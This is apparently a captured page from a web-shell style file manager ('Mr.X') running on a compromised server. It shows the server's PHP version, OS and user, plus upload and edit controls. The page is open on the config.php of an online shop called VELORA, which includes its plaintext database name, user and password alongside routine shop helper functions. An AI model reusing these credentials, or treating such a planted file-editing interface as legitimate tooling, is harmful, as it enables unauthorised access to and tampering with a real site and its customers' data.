🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:config.php
<?php // VELORA - Configuration File session_start(); ob_start(); // Database Configuration define('DB_HOST', 'localhost'); define('DB_NAME', 'websparkit_velora'); define('DB_USER', 'websparkit_veloraadmin'); define('DB_PASS', 'A.d@199708281820'); define('DB_CHARSET', 'utf8mb4'); // Site Configuration // Auto-detect SITE_URL based on actual server (works for localhost, production, subdomains, HTTPS, etc.) // To FORCE a specific URL, set it BEFORE including this file: define('SITE_URL_OVERRIDE', 'https://velora.websparkit.com/'); if (!defined('SITE_URL')) { $detected_url = ''; // Priority 1: Manual override if (!defined('SITE_URL_OVERRIDE')) { if (isset($_SERVER['HTTP_HOST']) && $_SERVER['HTTP_HOST'] === 'velora.websparkit.com') { define('SITE_URL_OVERRIDE', 'https://velora.websparkit.com/'); } } if (defined('SITE_URL_OVERRIDE') && SITE_URL_OVERRIDE) { $detected_url = rtrim(SITE_URL_OVERRIDE, '/') . '/'; } // Priority 2: Environment variable if (!$detected_url && getenv('VELORA_SITE_URL')) { $detected_url = rtrim(getenv('VELORA_SITE_URL'), '/') . '/'; } // Priority 3: Auto-detect from server if (!$detected_url && isset($_SERVER['HTTP_HOST'])) { $protocol = 'http'; if ((isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] === 'on' || $_SERVER['HTTPS'] == 1)) || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (isset($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443)) { $protocol = 'https'; } $host = $_SERVER['HTTP_HOST']; // Handle proxy hosts if (isset($_SERVER['HTTP_X_FORWARDED_HOST'])) { $host = $_SERVER['HTTP_X_FORWARDED_HOST']; } $script = $_SERVER['SCRIPT_NAME'] ?? $_SERVER['PHP_SELF'] ?? ''; // Strip the current file name (e.g., /index.php, /url-test.php) $script = preg_replace('#/[^/]+\.php$#', '', $script); // Strip known subdirectories to find the root $basePath = preg_replace('#/includes(/.*)?$|/admin(/.*)?$|/pages(/.*)?$|/ajax(/.*)?$|/assets(/.*)?$#', '', $script); $basePath = rtrim($basePath, '/') . '/'; $detected_url = $protocol . '://' . $host . $basePath; } // Priority 4: Fallback if (!$detected_url) { $detected_url = 'http://localhost/vedora/velora/'; } define('SITE_URL', $detected_url); } define('SITE_NAME', 'VELORA'); define('SITE_TAGLINE', 'Online Shopping Platform'); // Paths define('ROOT_PATH', dirname(__DIR__) . '/'); define('ASSETS_PATH', SITE_URL . 'assets/'); define('ADMIN_PATH', SITE_URL . 'admin/'); define('UPLOADS_PATH', ROOT_PATH . 'assets/uploads/'); define('UPLOADS_URL', SITE_URL . 'assets/uploads/'); // Payment Configuration define('COD_ENABLED', true); define('ONLINE_PAYMENT_ENABLED', false); // Tax & Shipping define('TAX_RATE', 5); // Percentage define('FREE_SHIPPING_MIN', 500); define('SHIPPING_COST', 49); // Security define('CSRF_TOKEN_NAME', 'velora_csrf'); define('PASSWORD_HASH_ALGO', PASSWORD_DEFAULT); // Error Reporting error_reporting(E_ALL); ini_set('display_errors', 1); // Timezone date_default_timezone_set('Asia/Kolkata'); // CSRF Token Generation if (!isset($_SESSION[CSRF_TOKEN_NAME])) { $_SESSION[CSRF_TOKEN_NAME] = bin2hex(random_bytes(32)); } function csrf_token() { return $_SESSION[CSRF_TOKEN_NAME]; } function csrf_field() { return '<input type="hidden" name="' . CSRF_TOKEN_NAME . '" value="' . $_SESSION[CSRF_TOKEN_NAME] . '">'; } function verify_csrf($token) { return isset($_SESSION[CSRF_TOKEN_NAME]) && hash_equals($_SESSION[CSRF_TOKEN_NAME], $token); } // Currency Format function format_currency($amount) { return 'LKR ' . number_format($amount, 2); } // Slug Generator function create_slug($string) { $string = strtolower($string); $string = preg_replace('/[^a-z0-9-]/', '-', $string); $string = preg_replace('/-+/', '-', $string); return trim($string, '-'); } // Time Ago function time_ago($timestamp) { $time_ago = strtotime($timestamp); $current_time = time(); $time_difference = $current_time - $time_ago; $seconds = $time_difference; $minutes = round($seconds / 60); $hours = round($seconds / 3600); $days = round($seconds / 86400); $weeks = round($seconds / 604800); $months = round($seconds / 2629440); $years = round($seconds / 31553280); if ($seconds <= 60) return 'Just now'; else if ($minutes <= 60) return $minutes == 1 ? '1 minute ago' : $minutes . ' minutes ago'; else if ($hours <= 24) return $hours == 1 ? '1 hour ago' : $hours . ' hours ago'; else if ($days <= 7) return $days == 1 ? '1 day ago' : $days . ' days ago'; else if ($weeks <= 4.3) return $weeks == 1 ? '1 week ago' : $weeks . ' weeks ago'; else if ($months <= 12) return $months == 1 ? '1 month ago' : $months . ' months ago'; else return $years == 1 ? '1 year ago' : $years . ' years ago'; } // Generate Order Number function generate_order_number() { return 'VEL-' . date('Ymd') . '-' . strtoupper(bin2hex(random_bytes(4))); } // Flash Messages function set_flash($type, $message) { $_SESSION['flash'] = ['type' => $type, 'message' => $message]; } function get_flash() { if (isset($_SESSION['flash'])) { $flash = $_SESSION['flash']; unset($_SESSION['flash']); return $flash; } return null; } function display_flash() { $flash = get_flash(); if ($flash) { $type = $flash['type']; $message = $flash['message']; $icons = [ 'success' => 'fas fa-check-circle', 'error' => 'fas fa-exclamation-circle', 'warning' => 'fas fa-exclamation-triangle', 'info' => 'fas fa-info-circle' ]; $icon = $icons[$type] ?? 'fas fa-info-circle'; echo '<div class="alert alert-' . $type . ' alert-dismissible fade show" role="alert"> <i class="' . $icon . ' me-2"></i> ' . $message . ' <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div>'; } } // Image Upload // Cache-busted image URL function img_url($url) { static $cache = []; if (empty($url)) return SITE_URL . 'assets/images/no-image.jpg'; if (isset($cache[$url])) return $cache[$url]; // Add timestamp for cache busting (only for uploaded images, not for static assets) if (strpos($url, 'assets/uploads/') !== false) { $sep = (strpos($url, '?') !== false) ? '&' : '?'; $path_part = explode('?', $url, 2)[0]; // Try to find the local path $local = ''; if (strpos($path_part, SITE_URL) === 0) { $local = str_replace(SITE_URL, ROOT_PATH, $path_part); } else { // Fallback: extract path after assets/uploads/ $pos = strpos($path_part, 'assets/uploads/'); if ($pos !== false) { $relative = substr($path_part, $pos); $local = ROOT_PATH . $relative; } } if (!empty($local) && file_exists($local)) { $url .= $sep . 'v=' . filemtime($local); } } $cache[$url] = $url; return $url; } function upload_image($file, $folder, $name = null) { $target_dir = UPLOADS_PATH . $folder . '/'; if (!file_exists($target_dir)) { if (!@mkdir($target_dir, 0755, true) && !is_dir($target_dir)) { error_log("Upload failed: could not create directory $target_dir"); return false; } } if (!is_writable($target_dir)) { @chmod($target_dir, 0755); if (!is_writable($target_dir)) { error_log("Upload failed: directory $target_dir is not writable"); return false; } } $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); $allowed = ['jpg', 'jpeg', 'png', 'gif', 'webp']; if (!in_array($extension, $allowed)) { error_log("Upload rejected: extension '$extension' not allowed"); return false; } $filename = ($name ? create_slug($name) : uniqid()) . '.' . $extension; $target_file = $target_dir . $filename; if (move_uploaded_file($file['tmp_name'], $target_file)) { // Set proper file permissions (rw-r--r--) @chmod($target_file, 0644); return $filename; } error_log("Upload failed: move_uploaded_file failed for $target_file (upload error: " . $file['error'] . ")"); return false; } // Cart Functions function get_cart_count() { $count = 0; if (isset($_SESSION['cart'])) { foreach ($_SESSION['cart'] as $item) { $count += $item['quantity']; } } return $count; } function get_cart_total() { $total = 0; if (isset($_SESSION['cart'])) { foreach ($_SESSION['cart'] as $item) { $price = $item['sale_price'] > 0 ? $item['sale_price'] : $item['regular_price']; $total += $price * $item['quantity']; } } return $total; } function get_wishlist_count() { return isset($_SESSION['wishlist']) ? count($_SESSION['wishlist']) : 0; } // Check if user is logged in function is_logged_in() { return isset($_SESSION['user_id']); } // Get current user data function get_user_data() { global $db; static $cache = null; if (!is_logged_in()) return null; if ($cache !== null) return $cache; try { if (!isset($_SESSION['user_id']) || !$db) return null; $stmt = $db->prepare("SELECT * FROM users WHERE id = ? AND status = 1"); $stmt->execute([$_SESSION['user_id']]); $cache = $stmt->fetch(PDO::FETCH_ASSOC) ?: null; return $cache; } catch (Exception $e) { return null; } } // Get settings function get_settings() { global $db; static $settings = null; if ($settings === null) { $stmt = $db->query("SELECT * FROM settings WHERE id = 1"); $settings = $stmt->fetch(PDO::FETCH_ASSOC); } return $settings; } // Pagination function paginate($total_items, $per_page = 12, $current_page = 1) { $total_pages = ceil($total_items / $per_page); return [ 'total_items' => $total_items, 'per_page' => $per_page, 'current_page' => $current_page, 'total_pages' => $total_pages, 'offset' => ($current_page - 1) * $per_page ]; } function pagination_links($pagination, $base_url) { if ($pagination['total_pages'] <= 1) return ''; $html = '<nav><ul class="pagination justify-content-center">'; if ($pagination['current_page'] > 1) { $html .= '<li class="page-item"><a class="page-link" href="' . $base_url . '?page=' . ($pagination['current_page'] - 1) . '">Previous</a></li>'; } for ($i = 1; $i <= $pagination['total_pages']; $i++) { $active = $i == $pagination['current_page'] ? 'active' : ''; $html .= '<li class="page-item ' . $active . '"><a class="page-link" href="' . $base_url . '?page=' . $i . '">' . $i . '</a></li>'; } if ($pagination['current_page'] < $pagination['total_pages']) { $html .= '<li class="page-item"><a class="page-link" href="' . $base_url . '?page=' . ($pagination['current_page'] + 1) . '">Next</a></li>'; } $html .= '</ul></nav>'; return $html; }
Save Changes
Cancel
Create New File
Create New Folder